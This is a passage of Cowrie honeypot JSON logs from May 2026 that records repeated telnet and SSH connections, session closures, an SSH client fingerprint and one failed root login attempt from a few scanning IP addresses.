384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:18.694852Z","src_ip":"221.139.88.149","session":"6d348889757b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.515351057052612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:18.863659Z","src_ip":"173.249.63.118","session":"e8ebea99c658","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!!Aa123456","message":"login attempt [root/!!Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:19.755553Z","src_ip":"221.139.88.149","session":"6d348889757b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":52508,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aa0241ee274","protocol":"telnet","message":"New connection: 173.249.63.118:52508 (10.17.0.5:23) [session: 7aa0241ee274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:19.946247Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":36376,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1fddc51263e","protocol":"telnet","message":"New connection: 173.249.63.118:36376 (10.17.0.5:23) [session: b1fddc51263e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:20.444743Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:20.959078Z","src_ip":"221.139.88.149","session":"6d348889757b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.384015798568726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:21.042947Z","src_ip":"173.249.63.118","session":"2a58febe2064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.392354011535645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:21.255139Z","src_ip":"51.161.172.108","session":"47f2d7843d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.415566205978394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:21.489439Z","src_ip":"51.161.172.108","session":"a900ec252ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914344787597656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:21.662944Z","src_ip":"173.249.63.118","session":"a0b803b88308","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60340905189514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:22.547001Z","src_ip":"173.249.63.118","session":"0d1ef043ff2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09664535522461,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:23.859548Z","src_ip":"173.249.63.118","session":"cafa20a80a1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":37486,"dst_ip":"10.17.0.5","dst_port":23,"session":"c22363d89841","protocol":"telnet","message":"New connection: 173.249.63.118:37486 (10.17.0.5:23) [session: c22363d89841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:24.348454Z"}
{"eventid":"cowrie.session.closed","duration":31.40193271636963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:25.600571Z","src_ip":"51.161.172.108","session":"c07037d0bd4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":37056,"dst_ip":"10.17.0.5","dst_port":23,"session":"45fc5c34442a","protocol":"telnet","message":"New connection: 173.249.63.118:37056 (10.17.0.5:23) [session: 45fc5c34442a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:25.662483Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":40104,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea84e397597b","protocol":"telnet","message":"New connection: 173.249.63.118:40104 (10.17.0.5:23) [session: ea84e397597b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:25.750170Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":38430,"dst_ip":"10.17.0.5","dst_port":23,"session":"a37d76dac693","protocol":"telnet","message":"New connection: 173.249.63.118:38430 (10.17.0.5:23) [session: a37d76dac693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:25.754505Z"}
{"eventid":"cowrie.session.closed","duration":30.999471426010132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:26.548200Z","src_ip":"173.249.63.118","session":"e0aa793cafda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":40714,"dst_ip":"10.17.0.5","dst_port":23,"session":"134c449eaf4d","protocol":"telnet","message":"New connection: 173.249.63.118:40714 (10.17.0.5:23) [session: 134c449eaf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:27.452541Z"}
{"eventid":"cowrie.session.closed","duration":30.49419665336609,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:28.344346Z","src_ip":"173.249.63.118","session":"329d60572b84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19672989845276,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:28.350966Z","src_ip":"173.249.63.118","session":"601617d139c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.500829458236694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:28.551615Z","src_ip":"173.249.63.118","session":"e4a3fc39aa55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":41166,"dst_ip":"10.17.0.5","dst_port":23,"session":"00f899ed658f","protocol":"telnet","message":"New connection: 173.249.63.118:41166 (10.17.0.5:23) [session: 00f899ed658f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:29.151624Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42208,"dst_ip":"159.203.135.109","dst_port":23,"session":"880c48de9557","protocol":"telnet","message":"New connection: 51.161.172.108:42208 (159.203.135.109:23) [session: 880c48de9557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:29.664806Z"}
{"eventid":"cowrie.session.closed","duration":30.609254837036133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:30.155514Z","src_ip":"173.249.63.118","session":"4bb2cdf01139","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43190,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a15e5290275","protocol":"telnet","message":"New connection: 173.249.63.118:43190 (10.17.0.5:23) [session: 9a15e5290275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:31.252125Z"}
{"eventid":"cowrie.session.closed","duration":31.011997938156128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:31.359260Z","src_ip":"173.249.63.118","session":"e7bddb27e3ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43316,"dst_ip":"10.17.0.5","dst_port":23,"session":"968b4536f4fb","protocol":"telnet","message":"New connection: 173.249.63.118:43316 (10.17.0.5:23) [session: 968b4536f4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:31.545644Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":42756,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ac737e83b4","protocol":"telnet","message":"New connection: 173.249.63.118:42756 (10.17.0.5:23) [session: 72ac737e83b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:32.250872Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":42088,"dst_ip":"10.17.0.5","dst_port":23,"session":"769c53a66c96","protocol":"telnet","message":"New connection: 173.249.63.118:42088 (10.17.0.5:23) [session: 769c53a66c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:32.858060Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43596,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cac114f6aea","protocol":"telnet","message":"New connection: 173.249.63.118:43596 (10.17.0.5:23) [session: 9cac114f6aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:33.049944Z"}
{"eventid":"cowrie.session.closed","duration":30.408814907073975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:33.058443Z","src_ip":"173.249.63.118","session":"7b97572e0d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43648,"dst_ip":"10.17.0.5","dst_port":23,"session":"1af3820f8d4b","protocol":"telnet","message":"New connection: 173.249.63.118:43648 (10.17.0.5:23) [session: 1af3820f8d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:33.148360Z"}
{"eventid":"cowrie.session.closed","duration":30.91012954711914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:33.153596Z","src_ip":"173.249.63.118","session":"09ec6fd999a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19854974746704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:33.753425Z","src_ip":"173.249.63.118","session":"cd846456a453","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.809795141220093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:34.759136Z","src_ip":"173.249.63.118","session":"16c16824ab0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":45080,"dst_ip":"10.17.0.5","dst_port":23,"session":"88924f475184","protocol":"telnet","message":"New connection: 173.249.63.118:45080 (10.17.0.5:23) [session: 88924f475184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:35.153654Z"}
{"eventid":"cowrie.session.closed","duration":31.36117696762085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:35.434194Z","src_ip":"51.161.172.108","session":"de9c00d11758","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":44818,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb7dda356f5a","protocol":"telnet","message":"New connection: 173.249.63.118:44818 (10.17.0.5:23) [session: eb7dda356f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:35.546403Z"}
{"eventid":"cowrie.session.closed","duration":31.46709966659546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:35.560370Z","src_ip":"51.161.172.108","session":"abb570c037ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":35606,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a1eef491a1e","protocol":"telnet","message":"New connection: 173.249.63.118:35606 (10.17.0.5:23) [session: 7a1eef491a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:35.844793Z"}
{"eventid":"cowrie.session.closed","duration":31.201067447662354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:37.845118Z","src_ip":"173.249.63.118","session":"a26966939a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693462371826172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:38.145639Z","src_ip":"173.249.63.118","session":"976726b48cb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":46182,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa13a0dc5686","protocol":"telnet","message":"New connection: 173.249.63.118:46182 (10.17.0.5:23) [session: fa13a0dc5686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:38.361741Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":46816,"dst_ip":"10.17.0.5","dst_port":23,"session":"de3f4da0b7cf","protocol":"telnet","message":"New connection: 173.249.63.118:46816 (10.17.0.5:23) [session: de3f4da0b7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:38.444612Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":46916,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fdabe102ac5","protocol":"telnet","message":"New connection: 173.249.63.118:46916 (10.17.0.5:23) [session: 8fdabe102ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:38.645460Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47150,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d8a3b7df7af","protocol":"telnet","message":"New connection: 173.249.63.118:47150 (10.17.0.5:23) [session: 5d8a3b7df7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:39.046011Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":46570,"dst_ip":"10.17.0.5","dst_port":23,"session":"45bbc95d1e87","protocol":"telnet","message":"New connection: 173.249.63.118:46570 (10.17.0.5:23) [session: 45bbc95d1e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:39.144021Z"}
{"eventid":"cowrie.session.closed","duration":30.40807819366455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:39.149366Z","src_ip":"173.249.63.118","session":"05560b3582cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57355570793152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:39.428538Z","src_ip":"51.161.172.108","session":"927175b18994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.595351696014404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:40.350619Z","src_ip":"173.249.63.118","session":"1905df158306","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":46634,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab816f8e3ce3","protocol":"telnet","message":"New connection: 173.249.63.118:46634 (10.17.0.5:23) [session: ab816f8e3ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:41.244520Z"}
{"eventid":"cowrie.session.closed","duration":30.80366539955139,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:41.348276Z","src_ip":"173.249.63.118","session":"3d6c72d48a6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316458225250244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:41.382718Z","src_ip":"51.161.172.108","session":"d35c187f33af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47008,"dst_ip":"10.17.0.5","dst_port":23,"session":"42fd0cde3d2e","protocol":"telnet","message":"New connection: 173.249.63.118:47008 (10.17.0.5:23) [session: 42fd0cde3d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:41.948443Z"}
{"eventid":"cowrie.session.closed","duration":47.38491344451904,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:42.644530Z","src_ip":"173.249.63.118","session":"53d38a6940e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":48652,"dst_ip":"10.17.0.5","dst_port":23,"session":"48ec51e20a4f","protocol":"telnet","message":"New connection: 173.249.63.118:48652 (10.17.0.5:23) [session: 48ec51e20a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:43.245211Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":48764,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d5f97b9c9b5","protocol":"telnet","message":"New connection: 173.249.63.118:48764 (10.17.0.5:23) [session: 3d5f97b9c9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:43.450193Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":48922,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c4ab5a3c63b","protocol":"telnet","message":"New connection: 173.249.63.118:48922 (10.17.0.5:23) [session: 2c4ab5a3c63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:43.746195Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47496,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f1f821391da","protocol":"telnet","message":"New connection: 173.249.63.118:47496 (10.17.0.5:23) [session: 3f1f821391da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:43.865844Z"}
{"eventid":"cowrie.session.closed","duration":31.21808099746704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:44.263334Z","src_ip":"173.249.63.118","session":"2ed2a8ae3fbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.496151447296143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:44.451201Z","src_ip":"173.249.63.118","session":"b3205f836f0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":49438,"dst_ip":"10.17.0.5","dst_port":23,"session":"e662971ec30f","protocol":"telnet","message":"New connection: 173.249.63.118:49438 (10.17.0.5:23) [session: e662971ec30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:44.747154Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":50782,"dst_ip":"10.17.0.5","dst_port":23,"session":"6361ba4efc22","protocol":"telnet","message":"New connection: 173.249.63.118:50782 (10.17.0.5:23) [session: 6361ba4efc22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:45.944894Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":51058,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b695bb2854","protocol":"telnet","message":"New connection: 173.249.63.118:51058 (10.17.0.5:23) [session: d6b695bb2854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:47.548451Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":51074,"dst_ip":"10.17.0.5","dst_port":23,"session":"60d2e541ec05","protocol":"telnet","message":"New connection: 173.249.63.118:51074 (10.17.0.5:23) [session: 60d2e541ec05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:47.553193Z"}
{"eventid":"cowrie.session.closed","duration":31.697892904281616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:47.838849Z","src_ip":"51.161.172.108","session":"31233341127b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":50962,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dcf850f533d","protocol":"telnet","message":"New connection: 173.249.63.118:50962 (10.17.0.5:23) [session: 7dcf850f533d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:48.348008Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":52288,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ee3a3ef021c","protocol":"telnet","message":"New connection: 173.249.63.118:52288 (10.17.0.5:23) [session: 4ee3a3ef021c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:48.546619Z"}
{"eventid":"cowrie.session.closed","duration":31.89847993850708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:48.643746Z","src_ip":"173.249.63.118","session":"13c18567c9b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43844,"dst_ip":"159.203.135.109","dst_port":23,"session":"849d6497ef12","protocol":"telnet","message":"New connection: 51.161.172.108:43844 (159.203.135.109:23) [session: 849d6497ef12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:48.676809Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":50132,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbd76ed2bce0","protocol":"telnet","message":"New connection: 173.249.63.118:50132 (10.17.0.5:23) [session: fbd76ed2bce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:48.857903Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":51764,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe44a48538a7","protocol":"telnet","message":"New connection: 173.249.63.118:51764 (10.17.0.5:23) [session: fe44a48538a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:48.862045Z"}
{"eventid":"cowrie.session.closed","duration":31.31865644454956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:48.868300Z","src_ip":"173.249.63.118","session":"3e42ef2ef1be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701301336288452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:49.147616Z","src_ip":"173.249.63.118","session":"f78538308ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.41594171524048,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:50.263716Z","src_ip":"173.249.63.118","session":"e4de9aa1be0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89822506904602,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:50.844376Z","src_ip":"173.249.63.118","session":"7aa0241ee274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":53394,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d7e36085bf8","protocol":"telnet","message":"New connection: 173.249.63.118:53394 (10.17.0.5:23) [session: 4d7e36085bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:51.451169Z"}
{"eventid":"cowrie.session.closed","duration":31.304821729660034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:51.749442Z","src_ip":"173.249.63.118","session":"b1fddc51263e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":53770,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ab58845690e","protocol":"telnet","message":"New connection: 173.249.63.118:53770 (10.17.0.5:23) [session: 4ab58845690e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:52.155163Z"}
